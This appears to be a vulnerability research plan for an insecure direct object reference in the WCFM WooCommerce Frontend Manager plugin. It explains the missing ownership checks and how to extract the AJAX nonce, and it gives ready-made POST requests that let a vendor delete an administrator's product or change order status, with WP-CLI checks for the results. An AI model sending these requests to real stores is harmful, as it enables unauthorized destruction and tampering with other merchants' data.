WCFM - WooCommerce Frontend Manager <= 6.7.25 - Insecure Direct Object References to Autenticated (Vendor+) Arbitrary Post/Product Manipulation

This research plan outlines the steps to verify the Insecure Direct Object Reference (IDOR) vulnerability in the WCFM - WooCommerce Frontend Manager plugin, allowing vendors to manipulate products, orders, and articles they do not own.

1. Vulnerability Summary

The WCFM plugin (<= 6.7.25) fails to validate object ownership in several AJAX handlers. While these handlers verify that the user has a "Vendor" or "Shop Staff" role, they do not check if the specific ID provided in the request (Product ID, Order ID, or Article ID) belongs to the authenticated user. This allows any authenticated vendor to modify or delete content belonging to other vendors or the site administrator.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Authentication: Required (User role: wcfm_vendor, seller, or vendor)
• Vulnerable Actions:
  • delete_wcfm_product
  • wcfm_modify_order_status
  • delete_wcfm_article
  • wcfm_ajax_controller (with controller=wcfm-products-manage)
• Payload Parameters:
  • productid (for product deletion)
  • order_id & order_status (for order manipulation)
  • articleid (for article deletion)
  • wcfm_ajax_nonce (required CSRF token)

3. Code Flow

1. AJAX Registration: In core/class-wcfm-ajax.php, hooks are registered for wp_ajax_delete_wcfm_product and wp_ajax_wcfm_modify_order_status.
2. Central Controller: For management actions, wcfm_ajax_controller() is used. It checks for general capabilities:

   // core/class-wcfm-ajax.php
   if ( !current_user_can( 'manage_woocommerce' ) && !current_user_can( 'wcfm_vendor' ) && ... ) {
       wp_send_json_error( ... );
   }
   

3. Missing Ownership Check: The handlers (e.g., delete_wcfm_product) take a productid from $_POST. They typically call wp_delete_post() or similar functions without first checking if the post_author matches the get_current_user_id().

4. Nonce Acquisition Strategy

WCFM localizes its AJAX nonce into a global JavaScript object named wcfm_params.

1. Identify Trigger: The nonce is enqueued on WCFM dashboard pages (e.g., /wcfm-dashboard/, /wcfm-products/).
2. Access Page: Navigate to the WCFM Products page as the Vendor user.
3. Extract Nonce: Use browser_eval to retrieve the nonce from the wcfm_params object.
   • JS Variable: window.wcfm_params?.wcfm_ajax_nonce

5. Exploitation Strategy

We will demonstrate the IDOR by deleting an Administrator's product using a Vendor account.

Step 1: Product Deletion (Primary PoC)

• Method: POST
• URL: https://<target>/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=delete_wcfm_product
  &productid=<ADMIN_PRODUCT_ID>
  &wcfm_ajax_nonce=<EXTRACTED_NONCE>
  

Step 2: Order Status Modification

• Method: POST
• URL: https://<target>/wp-admin/admin-ajax.php
• Body:

  action=wcfm_modify_order_status
  &order_id=<TARGET_ORDER_ID>
  &order_status=completed
  &wcfm_ajax_nonce=<EXTRACTED_NONCE>
  

6. Test Data Setup

1. Administrator Actions:
   • Create a product (Type: product, Title: "Admin Sensitive Product"). Note the ID.
   • Create a WooCommerce Order. Note the ID.
   • Create a Post (Type: post, Title: "Admin Article"). Note the ID.
2. Vendor Setup:
   • Create a user with the wcfm_vendor role.
3. WCFM Configuration:
   • Ensure WCFM is active and the Vendor has access to the dashboard.

7. Expected Results

• Deletion: The server should return a success JSON response (e.g., {"status": true}). The product with the specified ID should be moved to the trash or permanently deleted.
• Order Update: The order status should change to completed in the WooCommerce database, regardless of whether the vendor is associated with the products in that order.

8. Verification Steps

1. Check Product Status: Use WP-CLI to verify the product is gone.
   • wp post get <ADMIN_PRODUCT_ID> --field=post_status (Should be 'trash' or return error if deleted).
2. Check Order Status:
   • wp wc order get <TARGET_ORDER_ID> --field=status (Should be 'completed').
3. Check Article Status:
   • wp post get <ADMIN_ARTICLE_ID> --field=post_status

9. Alternative Approaches

If delete_wcfm_product is patched or behaves differently, use the wcfm_ajax_controller to attempt an edit on an unauthorized product:

• Action: wcfm_ajax_controller
• Controller: wcfm-products-manage
• Body: controller=wcfm-products-manage&wcfm_products_manage_form=...&proid=<ADMIN_PRODUCT_ID>&wcfm_ajax_nonce=<NONCE>
• This tests the IDOR within the complex product manager logic rather than the simple delete hook.